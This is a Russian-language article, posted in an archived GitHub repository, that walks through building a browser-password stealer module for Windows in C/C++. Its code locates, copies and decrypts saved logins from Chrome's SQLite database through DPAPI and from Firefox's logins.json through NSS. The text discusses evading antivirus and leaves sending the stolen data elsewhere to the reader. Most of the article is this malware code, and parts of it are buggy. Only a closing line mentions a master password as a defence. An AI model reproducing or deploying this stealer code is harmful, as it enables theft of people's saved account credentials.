This repository has been archived by the owner on Nov 24, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy patharticle.txt
417 lines (307 loc) · 20.8 KB
/
article.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
Итак, браузеры, в основе которых лежит Chrome или Firefox, хранят логины и
пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и
распространяется бесплатно по свободной лицензии. Так же, как и
рассматриваемые нами браузеры: весь их код открыт и хорошо документирован,
что, несомненно, поможет нам.
В примере модуля стилинга, который я приведу в статье, будет активно
использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h.
Если тебе нужен компактный код без зависимостей, придется его немного
переработать, избавившись от некоторых функций и настроив компилятор должным
образом.
Что скажет антивирус?
Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных
покупателей на то, что в данный момент их стилер не «палится» антивирусом.
Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны
имеют модульную структуру, каждый модуль в которой отвечает за что-то свое:
один модуль собирает пароли, второй препятствует отладке и эмуляции, третий
определяет факт работы в виртуальной машине, четвертый проводит обфускацию
вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.
Так что судить о том, «палится» определенный метод антивирусом или нет, можно,
только если речь идет о законченном «боевом» приложении, а не по отдельному
модулю.
Chrome
Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и
пароли пользователей. В Windows он лежит по такому адресу:
C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data
Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все
процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл
базы и уже после этого начинать работать с ним.
Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве
аргумента ей будет передаваться массив символов с результатом ее работы (то
есть массив будет содержать путь к файлу паролей Chrome).
#define CHROME_DB_PATH "\\Google\\Chrome\\User Data\\Default\\Login Data"
bool get_browser_path(char * db_loc, int browser_family, const char * location) {
memset(db_loc, 0, MAX_PATH);
if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
return 0;
}
if (browser_family == 0) {
lstrcat(db_loc, TEXT(location));
return 1;
}
}
Вызов функции:
char browser_db[MAX_PATH];
get_browser_path(browser_db, 0, CHROME_DB_PATH);
Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию,
подразумевая будущее расширение. Один из ее аргументов — поле browser_family,
оно будет сигнализировать о семействе браузеров, базу данных которых мы
получаем (то есть браузеры на основе Chrome или Firefox).
Если условие browser_family == 0 выполняется, то получаем базу паролей
браузера на основе Chrome, если browser_family == 1 — Firefox. Идентификатор
CHROME_DB_PATH указывает на базу паролей Chrome. Далее мы получаем путь к базе
при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL
значение CSIDL_LOCAL_APPDATA, которое означает:
#define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)
Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать
вместо нее SHGetKnownFolderPath. Проблема в том, что поддержка этой функции
начинается с Windows Vista, поэтому я применил ее более старый аналог для
сохранения обратной совместимости. Вот ее прототип:
HRESULT SHGetFolderPath(
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
LPTSTR pszPath
);
После этого функция lstrcat совмещает результат работы SHGetFolderPath с
идентификатором CHROME_DB_PATH.
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил,
это база данных SQLite, работать с ней удобно через SQLite API, которые
подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы
данных, чтобы не занимать его и не мешать работе браузера.
int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
// return 0;
}
Теперь подключаемся к базе командой sqlite3_open_v2. Ее прототип:
int sqlite3_open_v2(
const char *filename, /* Database filename (UTF-8) */
sqlite3 **ppDb, /* OUT: SQLite db handle */
int flags, /* Flags */
const char *zVfs /* Name of VFS module to use */
);
Первый аргумент — наша база данных; информация о подключении возвращается во
второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет
интерфейс операционной системы, который должен использовать это подключение к
базе данных, в нашем случае он не нужен. Если эта функция отработает
корректно, возвращается значение SQLITE_OK, в противном случае возвращается
код ошибки.
sqlite3 *sql_browser_db = NULL;
status = sqlite3_open_v2(TEMP_DB_PATH,
&sql_browser_db,
SQLITE_OPEN_READONLY,
NULL);
if(status != SQLITE_OK) {
sqlite3_close(sql_browser_db);
DeleteFile(TEXT(TEMP_DB_PATH));
}
Обрати внимание: при некорректной отработке функции нам все равно необходимо
самостоятельно закрыть подключение к базе и удалить ее копию.
Теперь начинаем непосредственно обрабатывать данные в базе. Для этого
воспользуемся функцией sqlite3_exec().
status = sqlite3_exec(sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
crack_chrome_db,
sql_browser_db,
&err);
if (status != SQLITE_OK)
return 0;
Эта функция имеет такой прототип:
int sqlite3_exec(
sqlite3*, /* An open database */
const char *sql, /* SQL to be evaluated */
int (*callback)(void*,int,char**,char**), /* Callback */
void *, /* 1st argument to callback */
char **errmsg /* Error msg written here */
);
Первый аргумент — наша база паролей, второй — это команда SQL, которая
вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это
функция обратного вызова, которая и будет расшифровывать пароли, четвертый —
передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об
ошибке.
Давай остановимся подробнее на callback-функции, которая расшифровывает
пароли. Она будет применяться к каждой строке из выборки нашего запроса
SELECT. Ее прототип — int (*callback)(void*,int,char**,char**), но все
аргументы нам не понадобятся, хотя объявлены они должны быть. Саму функцию
назовем crack_chrome_db, начинаем писать и объявлять нужные переменные:
int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {
DATA_BLOB data_decrypt, data_encrypt;
sqlite3 *in_db = (sqlite3*)db_in;
BYTE *blob_data = NULL;
sqlite3_blob *sql_blob = NULL;
char *passwds = NULL;
while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );
В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее
выделяем память, читаем блоб и инициализируем поля DATA_BLOB:
int sz_blob;
int result;
sz_blob = sqlite3_blob_bytes(sql_blob);
dt_blob = (BYTE *)malloc(sz_blob);
if (!dt_blob) {
sqlite3_blob_close(sql_blob);
sqlite3_close(in_db);
}
data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;
А теперь приступим непосредственно к дешифровке. База данных Chrome
зашифрована механизмом Data Protection Application Programming Interface
(DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно
только под той учетной записью, под которой они были зашифрованы. Другими
словами, нельзя стащить базу данных паролей, а потом расшифровать ее уже на
своем компьютере. Для расшифровки данных нам потребуется функция
CryptUnprotectData.
DPAPI_IMP BOOL CryptUnprotectData(
DATA_BLOB *pDataIn,
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
DWORD dwFlags,
DATA_BLOB *pDataOut
);
if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {
free(dt_blob);
sqlite3_blob_close(sql_blob);
sqlite3_close(in_db);
}
После этого выделяем память и заполняем массив passwds расшифрованными
данными.
passwds = ( char *)malloc(data_decrypt.cbData + 1);
memset(passwds, 0, data_decrypt.cbData);
int xi = 0;
while (xi < data_decrypt.cbData) {
passwds[xi] = (char)data_decrypt.pbData[xi];
++xi;
}
Собственно, на этом все! После этого passwds будет содержать учетные записи
пользователей и URL. А что делать с этой информацией — вывести ее на экран или
сохранить в файл и отправить куда-то его — решать тебе.
Firefox
Переходим к Firefox. Это будет немного сложнее, но мы все равно справимся!
Для начала давай получим путь до базы данных паролей. Помнишь, в нашей
универсальной функции get_browser_path мы передавали параметр browser_family?
В случае Chrome он был равен нулю, а для Firefox поставим 1.
bool get_browser_path(char * db_loc, int browser_family, const char * location) {
...
if (browser_family == 1) {
memset(db_loc, 0, MAX_PATH);
if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
// return 0;
}
В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до папки
пользователя. Дело в том, что имя папки пользовательского профиля генерируется
случайно. Но это ерундовая преграда, ведь мы знаем начало пути
(\\Mozilla\\Firefox\\Profiles\\). Достаточно поискать в нем объект «папка» и
проверить наличие в ней файла \\logins.json". Именно в этом файле хранятся
интересующие нас данные логинов и паролей. Разумеется, в зашифрованном виде.
Реализуем все это в коде.
lstrcat(db_loc, TEXT(location));
// Объявляем переменные
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;
// Создаем маску для поиска функцией FindFirstFile
lstrcat((LPSTR)db_path, TEXT("*"));
// Просматриваем, нас интересует объект с атрибутом FILE_ATTRIBUTE_DIRECTORY
HANDLE gotcha = FindFirstFile(db_path, &w_find_data);
while (FindNextFile(gotcha, &w_find_data) != 0){
if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if (strlen(w_find_data.cFileName) > 2) {
profileName = w_find_data.cFileName;
}
}
}
// Убираем звездочку :)
db_loc[strlen(db_loc) - 1] = '\0';
lstrcat(db_loc, profileName);
// Наконец, получаем нужный нам путь
lstrcat(db_loc, "\\logins.json");
return 1;
В самом конце переменная db_loc, которую мы передавали в качестве аргумента в
нашу функцию, содержит полный путь до файла logins.json, а функция возвращает
1, сигнализируя о том, что она отработала корректно.
Теперь получим хендл файла паролей и выделим память под данные. Для получения
хендла используем функцию CreateFile, как советует MSDN.
DWORD read_bytes = 8192;
DWORD lp_read_bytes;
char *buffer = (char *)malloc(read_bytes);
HANDLE db_file_login = CreateFileA(original_db_location,
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);
Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы
не сможем просто получить нужные данные обычным запросом SELECT, да и
шифрование не ограничивается одной-единственной функцией WinAPI.
Network Security Services (NSS)
Браузер Firefox активно использует функции Network Security Services для
реализации шифрования своей базы. Эти функции находятся в динамической
библиотеке, которая лежит по адресу C:\Program Files\Mozilla Firefox\nss3.dll.
Все интересующие нас функции нам придется получить из этой DLL. Сделать это
можно стандартным образом, при помощи LoadLibrary\GetProcAdress. Код
однообразный и большой, поэтому я просто приведу список функций, которые нам
понадобятся:
NSS_Init;
PL_Base64Decode;
PK11SDR_Decrypt;
PK11_Authenticate;
PK11_GetInternalKeySlot;
PK11_FreeSlot.
Это функции инициализации механизма NSS и расшифровки данных. Давай напишем
функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было
понятно.
char * data_uncrypt(std::string pass_str) {
// Объявляем переменные
SECItem crypt;
SECItem decrypt;
PK11SlotInfo *slot_info;
// Выделяем память для наших данных
char *char_dest = (char *)malloc(8192);
memset(char_dest, NULL, 8192);
crypt.data = (unsigned char *)malloc(8192);
crypt.len = 8192;
memset(crypt.data, NULL, 8192);
// Непосредственно расшифровка функциями NSS
PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest);
memcpy(crypt.data, char_dest, 8192);
slot_info = PK11_GetInternalKeySlot();
PK11_Authenticate(slot_info, TRUE, NULL);
PK11SDR_Decrypt(&crypt, &decrypt, NULL);
PK11_FreeSlot(slot_info);
// Выделяем память для расшифрованных данных
char *value = (char *)malloc(decrypt.len);
value[decrypt.len] = 0;
memcpy(value, decrypt.data, decrypt.len);
return value;
}
Теперь осталось парсить файл logins.json и применять нашу функцию расшифровки.
Для краткости кода я буду использовать регулярные выражения и их возможности в
C++ 11.
string decode_data = buffer;
// Определяем регулярки для сайтов, логинов и паролей
regex user("\"encryptedUsername\":\"([^\"]+)\"");
regex passw("\"encryptedPassword\":\"([^\"]+)\"");
regex host("\"hostname\":\"([^\"]+)\"");
// Объявим переменную и итератор
smatch smch;
string::const_iterator pars(decode_data.cbegin());
// Парсинг при помощи regex_search, расшифровка данных нашей
// функцией data_uncrypt и вывод на экран расшифрованных данных
do {
printf("Site\t: %s", smch.str(1).c_str());
regex_search(pars, decode_data.cend(), smch, user);
printf("Login: %s", data_uncrypt(smch.str(1)));
regex_search(pars, decode_data.cend(), smch, passw);
printf("Pass: %s",data_uncrypt( smch.str(1)));
pars += smch.position() + smch.length();
} while (regex_search(pars, decode_data.cend(), smch, host));
Заключение
Мы разобрались, как хранятся пароли в разных браузерах, и узнали, что нужно
делать, чтобы их извлечь. Можно ли защититься от подобных методов
восстановления сохраненных паролей? Да, конечно. Если установить в браузере
мастер-пароль, то он выступит в качестве криптографической соли для
расшифровки базы данных паролей. Без ее знания восстановить данные будет
невозможно.